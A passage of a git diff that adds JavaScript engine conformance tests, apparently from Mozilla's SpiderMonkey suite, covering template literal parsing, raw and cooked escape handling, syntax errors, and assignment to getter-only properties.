+syntaxError("args`${\\n}`");
+syntaxError("args`${yield 0}`");
+syntaxError("args`");
+syntaxError("args`$");
+syntaxError("args`${");
+syntaxError("args.``");
+
+// Template substitution tests in the context of tagged templates
+// Extra whitespace inside a template substitution is ignored.
+check(args`a${
+0
+}`, [0]);
+
+// Extra whitespace between tag and template is ignored
+check(args
+`a
+${
+0
+}`, [0]);
+
+
+check(args`${5}${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, [5,0]);
+
+check(args // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+`${5}${0}`, [5,0]);
+
+
+// Template substitutions are expressions, not statements.
+syntaxError("args`${0;}`");
+check(args`${
+ function f() {
+ return "ok";
+ }()
+}`, ["ok"]);
+
+// Template substitutions can have side effects.
+var x = 0;
+check(args`${x += 1}`, [1]);
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+check(args`${++x, "o"}k`, ["o"]);
+assertEq(x, 1);
+
+
+// --> is not a comment inside a template.
+check(cooked`
+--> this is text
+`, ["\n--> this is text\n"]);
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ var res = args`${n}${f(n - 1)}`;
+ return res[0] + res[1] + "";
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ var res = args`${yield 1} ${yield 2}`;
+ return res[0] + res[1] + "";
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "helloworld");
+
+// undefined
+assertEq(args`${void 0}`[0] + "", "undefined");
+assertEq(args`${Object.doesNotHaveThisProperty}`[0] + "", "undefined");
+
+var callSiteObj = [];
+callSiteObj[0] = cooked`aa${4}bb`;
+for (var i = 1; i < 3; i++)
+ callSiteObj[i] = cooked`aa${4}bb`;
+
+// Same call site object behavior
+assertEq(callSiteObj[1], callSiteObj[2]);
+// Template objects are canonicalized
+assertEq(callSiteObj[0] !== callSiteObj[1], true);
+assertEq("raw" in callSiteObj[0], true);
+
+// Array length
+assertEq(callSiteObj[0].raw.length, 2);
+assertEq(callSiteObj[0].length, 2);
+
+// Frozen objects
+assertEq(Object.isFrozen(callSiteObj[0]), true);
+assertEq(Object.isFrozen(callSiteObj[0].raw), true);
+
+// Raw not enumerable
+assertEq(callSiteObj[0].propertyIsEnumerable(callSiteObj[0].raw), false);
+
+// Allow call syntax
+check(new ((cs, sub) => function(){ return sub }) `${[1, 2, 3]}`, [1,2,3]);
+
+var a = [];
+function test() {
+ var x = callSite => callSite;
+ for (var i = 0; i < 2; i++)
+ a[i] = eval("x``");
+}
+test();
+assertEq(a[0] !== a[1], true);
+
+// Test that |obj.method`template`| works
+var newObj = {
+ methodRetThis : function () {
+ return this;
+ },
+ methodRetCooked : function (a) {
+ return a;
+ },
+ methodRetRaw : function (a) {
+ return a.raw;
+ },
+ methodRetArgs : function (a, ...args) {
+ return args;
+ }
+}
+
+assertEq(newObj.methodRetThis`abc${4}`, newObj);
+check(newObj.methodRetCooked`abc${4}\r`, ["abc","\r"]);
+check(eval("newObj.methodRetCooked`abc${4}\r`"), ["abc","\n"]);
+check(newObj.methodRetRaw`abc${4}\r`, ["abc","\\r"]);
+check(eval("newObj.methodRetRaw`abc${4}\r`"), ["abc","\n"]);
+check(eval("newObj.methodRetArgs`abc${4}${5}\r${6}`"), [4,5,6]);
+
+// Chained calls
+function func(a) {
+ if (a[0] === "hey") {
+ return function(a) {
+ if (a[0] === "there") {
+ return function(a) {
+ if (a[0] === "mine")
+ return "was mine";
+ else
+ return "was not mine";
+ }
+ } else {
+ return function(a) {
+ return "was not there";
+ }
+ }
+ }
+ } else {
+ return function(a) {
+ return function(a) {
+ return "was not hey";
+ }
+ }
+ }
+}
+
+assertEq(func`hey``there``mine`, "was mine");
+assertEq(func`hey``there``amine`, "was not mine");
+assertEq(func`hey``tshere``amine`, "was not there");
+assertEq(func`heys``there``mine`, "was not hey");
+
+// String.raw
+assertEq(String.raw`h\r\ney${4}there\n`, "h\\r\\ney4there\\n");
+assertEq(String.raw`hey`, "hey");
+assertEq(String.raw``, "");
+
+// Invalid escape sequences
+check(raw`\01`, ["\\01"]);
+check(raw`\01${0}right`, ["\\01","right"]);
+check(raw`left${0}\01`, ["left","\\01"]);
+check(raw`left${0}\01${1}right`, ["left","\\01","right"]);
+check(raw`\1`, ["\\1"]);
+check(raw`\1${0}right`, ["\\1","right"]);
+check(raw`left${0}\1`, ["left","\\1"]);
+check(raw`left${0}\1${1}right`, ["left","\\1","right"]);
+check(raw`\xg`, ["\\xg"]);
+check(raw`\xg${0}right`, ["\\xg","right"]);
+check(raw`left${0}\xg`, ["left","\\xg"]);
+check(raw`left${0}\xg${1}right`, ["left","\\xg","right"]);
+check(raw`\xAg`, ["\\xAg"]);
+check(raw`\xAg${0}right`, ["\\xAg","right"]);
+check(raw`left${0}\xAg`, ["left","\\xAg"]);
+check(raw`left${0}\xAg${1}right`, ["left","\\xAg","right"]);
+check(raw`\u0`, ["\\u0"]);
+check(raw`\u0${0}right`, ["\\u0","right"]);
+check(raw`left${0}\u0`, ["left","\\u0"]);
+check(raw`left${0}\u0${1}right`, ["left","\\u0","right"]);
+check(raw`\u0g`, ["\\u0g"]);
+check(raw`\u0g${0}right`, ["\\u0g","right"]);
+check(raw`left${0}\u0g`, ["left","\\u0g"]);
+check(raw`left${0}\u0g${1}right`, ["left","\\u0g","right"]);
+check(raw`\u00g`, ["\\u00g"]);
+check(raw`\u00g${0}right`, ["\\u00g","right"]);
+check(raw`left${0}\u00g`, ["left","\\u00g"]);
+check(raw`left${0}\u00g${1}right`, ["left","\\u00g","right"]);
+check(raw`\u000g`, ["\\u000g"]);
+check(raw`\u000g${0}right`, ["\\u000g","right"]);
+check(raw`left${0}\u000g`, ["left","\\u000g"]);
+check(raw`left${0}\u000g${1}right`, ["left","\\u000g","right"]);
+check(raw`\u{}`, ["\\u{}"]);
+check(raw`\u{}${0}right`, ["\\u{}","right"]);
+check(raw`left${0}\u{}`, ["left","\\u{}"]);
+check(raw`left${0}\u{}${1}right`, ["left","\\u{}","right"]);
+check(raw`\u{-0}`, ["\\u{-0}"]);
+check(raw`\u{-0}${0}right`, ["\\u{-0}","right"]);
+check(raw`left${0}\u{-0}`, ["left","\\u{-0}"]);
+check(raw`left${0}\u{-0}${1}right`, ["left","\\u{-0}","right"]);
+check(raw`\u{g}`, ["\\u{g}"]);
+check(raw`\u{g}${0}right`, ["\\u{g}","right"]);
+check(raw`left${0}\u{g}`, ["left","\\u{g}"]);
+check(raw`left${0}\u{g}${1}right`, ["left","\\u{g}","right"]);
+check(raw`\u{0`, ["\\u{0"]);
+check(raw`\u{0${0}right`, ["\\u{0","right"]);
+check(raw`left${0}\u{0`, ["left","\\u{0"]);
+check(raw`left${0}\u{0${1}right`, ["left","\\u{0","right"]);
+check(raw`\u{\u{0}`, ["\\u{\\u{0}"]);
+check(raw`\u{\u{0}${0}right`, ["\\u{\\u{0}","right"]);
+check(raw`left${0}\u{\u{0}`, ["left","\\u{\\u{0}"]);
+check(raw`left${0}\u{\u{0}${1}right`, ["left","\\u{\\u{0}","right"]);
+check(raw`\u{110000}`, ["\\u{110000}"]);
+check(raw`\u{110000}${0}right`, ["\\u{110000}","right"]);
+check(raw`left${0}\u{110000}`, ["left","\\u{110000}"]);
+check(raw`left${0}\u{110000}${1}right`, ["left","\\u{110000}","right"]);
+
+check(cooked`\01`, [void 0]);
+check(cooked`\01${0}right`, [void 0,"right"]);
+check(cooked`left${0}\01`, ["left",void 0]);
+check(cooked`left${0}\01${1}right`, ["left",void 0,"right"]);
+check(cooked`\1`, [void 0]);
+check(cooked`\1${0}right`, [void 0,"right"]);
+check(cooked`left${0}\1`, ["left",void 0]);
+check(cooked`left${0}\1${1}right`, ["left",void 0,"right"]);
+check(cooked`\xg`, [void 0]);
+check(cooked`\xg${0}right`, [void 0,"right"]);
+check(cooked`left${0}\xg`, ["left",void 0]);
+check(cooked`left${0}\xg${1}right`, ["left",void 0,"right"]);
+check(cooked`\xAg`, [void 0]);
+check(cooked`\xAg${0}right`, [void 0,"right"]);
+check(cooked`left${0}\xAg`, ["left",void 0]);
+check(cooked`left${0}\xAg${1}right`, ["left",void 0,"right"]);
+check(cooked`\u0`, [void 0]);
+check(cooked`\u0${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u0`, ["left",void 0]);
+check(cooked`left${0}\u0${1}right`, ["left",void 0,"right"]);
+check(cooked`\u0g`, [void 0]);
+check(cooked`\u0g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u0g`, ["left",void 0]);
+check(cooked`left${0}\u0g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u00g`, [void 0]);
+check(cooked`\u00g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u00g`, ["left",void 0]);
+check(cooked`left${0}\u00g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u000g`, [void 0]);
+check(cooked`\u000g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u000g`, ["left",void 0]);
+check(cooked`left${0}\u000g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{}`, [void 0]);
+check(cooked`\u{}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{}`, ["left",void 0]);
+check(cooked`left${0}\u{}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{-0}`, [void 0]);
+check(cooked`\u{-0}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{-0}`, ["left",void 0]);
+check(cooked`left${0}\u{-0}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{g}`, [void 0]);
+check(cooked`\u{g}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{g}`, ["left",void 0]);
+check(cooked`left${0}\u{g}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{0`, [void 0]);
+check(cooked`\u{0${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{0`, ["left",void 0]);
+check(cooked`left${0}\u{0${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{\u{0}`, [void 0]);
+check(cooked`\u{\u{0}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{\u{0}`, ["left",void 0]);
+check(cooked`left${0}\u{\u{0}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{110000}`, [void 0]);
+check(cooked`\u{110000}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{110000}`, ["left",void 0]);
+check(cooked`left${0}\u{110000}${1}right`, ["left",void 0,"right"]);
+
+syntaxError("`\\01`");
+syntaxError("`\\01${0}right`");
+syntaxError("`left${0}\\01`");
+syntaxError("`left${0}\\01${1}right`");
+syntaxError("`\\1`");
+syntaxError("`\\1${0}right`");
+syntaxError("`left${0}\\1`");
+syntaxError("`left${0}\\1${1}right`");
+syntaxError("`\\xg`");
+syntaxError("`\\xg${0}right`");
+syntaxError("`left${0}\\xg`");
+syntaxError("`left${0}\\xg${1}right`");
+syntaxError("`\\xAg`");
+syntaxError("`\\xAg${0}right`");
+syntaxError("`left${0}\\xAg`");
+syntaxError("`left${0}\\xAg${1}right`");
+syntaxError("`\\u0`");
+syntaxError("`\\u0${0}right`");
+syntaxError("`left${0}\\u0`");
+syntaxError("`left${0}\\u0${1}right`");
+syntaxError("`\\u0g`");
+syntaxError("`\\u0g${0}right`");
+syntaxError("`left${0}\\u0g`");
+syntaxError("`left${0}\\u0g${1}right`");
+syntaxError("`\\u00g`");
+syntaxError("`\\u00g${0}right`");
+syntaxError("`left${0}\\u00g`");
+syntaxError("`left${0}\\u00g${1}right`");
+syntaxError("`\\u000g`");
+syntaxError("`\\u000g${0}right`");
+syntaxError("`left${0}\\u000g`");
+syntaxError("`left${0}\\u000g${1}right`");
+syntaxError("`\\u{}`");
+syntaxError("`\\u{}${0}right`");
+syntaxError("`left${0}\\u{}`");
+syntaxError("`left${0}\\u{}${1}right`");
+syntaxError("`\\u{-0}`");
+syntaxError("`\\u{-0}${0}right`");
+syntaxError("`left${0}\\u{-0}`");
+syntaxError("`left${0}\\u{-0}${1}right`");
+syntaxError("`\\u{g}`");
+syntaxError("`\\u{g}${0}right`");
+syntaxError("`left${0}\\u{g}`");
+syntaxError("`left${0}\\u{g}${1}right`");
+syntaxError("`\\u{0`");
+syntaxError("`\\u{0${0}right`");
+syntaxError("`left${0}\\u{0`");
+syntaxError("`left${0}\\u{0${1}right`");
+syntaxError("`\\u{\\u{0}`");
+syntaxError("`\\u{\\u{0}${0}right`");
+syntaxError("`left${0}\\u{\\u{0}`");
+syntaxError("`left${0}\\u{\\u{0}${1}right`");
+syntaxError("`\\u{110000}`");
+syntaxError("`\\u{110000}${0}right`");
+syntaxError("`left${0}\\u{110000}`");
+syntaxError("`left${0}\\u{110000}${1}right`");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/templLit.js b/js/src/tests/non262/template-strings/templLit.js
new file mode 100644
index 0000000000..0b85ad7d1f
--- /dev/null
+++ b/js/src/tests/non262/template-strings/templLit.js
@@ -0,0 +1,118 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// TEST BEGIN
+
+
+
+// combinations of substitutions
+assertEq("abcdef", `ab${"cd"}ef`);
+assertEq("ab9ef", `ab${4+5}ef`);
+assertEq("cdef", `${"cd"}ef`);
+assertEq("abcd", `ab${"cd"}`);
+assertEq("cd", `${"cd"}`);
+assertEq("", `${""}`);
+assertEq("4", `${4}`);
+
+// multiple substitutions
+assertEq("abcdef", `ab${"cd"}e${"f"}`);
+assertEq("abcdef", `ab${"cd"}${"e"}f`);
+assertEq("abcdef", `a${"b"}${"cd"}e${"f"}`);
+assertEq("abcdef", `${"ab"}${"cd"}${"ef"}`);
+
+// inception
+assertEq("abcdef", `a${`b${"cd"}e${"f"}`}`);
+
+syntaxError("`${}`");
+syntaxError("`${`");
+syntaxError("`${\\n}`");
+syntaxError("`${yield 0}`");
+
+// Extra whitespace inside a template substitution is ignored.
+assertEq(`${
+0
+}`, "0");
+
+assertEq(`${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, "0");
+
+// Template substitutions are expressions, not statements.
+syntaxError("`${0;}`");
+assertEq(`${{}}`, "[object Object]");
+assertEq(`${
+ function f() {
+ return "ok";
+ }()
+}`, "ok");
+
+// Template substitutions can have side effects.
+var x = 0;
+assertEq(`= ${x += 1}`, "= 1");
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+assertEq(`${++x, "o"}k`, "ok");
+assertEq(x, 1);
+
+// --> is not a comment inside a template.
+assertEq(`
+--> this is text
+`, "\n--> this is text\n");
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ return `${n}${f(n - 1)}`;
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ return `${yield 1} ${yield 2}`;
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "hello world");
+
+// undefined
+assertEq(`${void 0}`, "undefined");
+assertEq(`${Object.doesNotHaveThisProperty}`, "undefined");
+
+// toString behavior
+assertEq("<toString>", `${{valueOf: () => "<valueOf>", toString: () => "<toString>"}}`);
+assertEq("Hi 42", Function("try {`${{toString: () => { throw 42;}}}`} catch(e) {return \"Hi \" + e;}")());
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template.js b/js/src/tests/non262/template.js
new file mode 100644
index 0000000000..2fb786ba73
--- /dev/null
+++ b/js/src/tests/non262/template.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/types/8.12.5-01.js b/js/src/tests/non262/types/8.12.5-01.js
new file mode 100644
index 0000000000..b41de0bb50
--- /dev/null
+++ b/js/src/tests/non262/types/8.12.5-01.js
@@ -0,0 +1,110 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b";
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b";
+ assertEq(y.p, "a");
+}
+
+function strictTest1()
+{
+ "use strict";
+
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function strictTest2()
+{
+ "use strict";
+
+ function T() {}
+ T.prototype = o;
+ y = new T;
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ strictTest1();
+ errors.push("strictTest1 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest1 didn't fail with a TypeError: " + e);
+ }
+
+ try
+ {
+ strictTest2();
+ errors.push("strictTest2 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest2 didn't fail with a TypeError: " + e);
+ }
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/types/browser.js b/js/src/tests/non262/types/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/types/browser.js
diff --git a/js/src/tests/non262/types/shell.js b/js/src/tests/non262/types/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/types/shell.js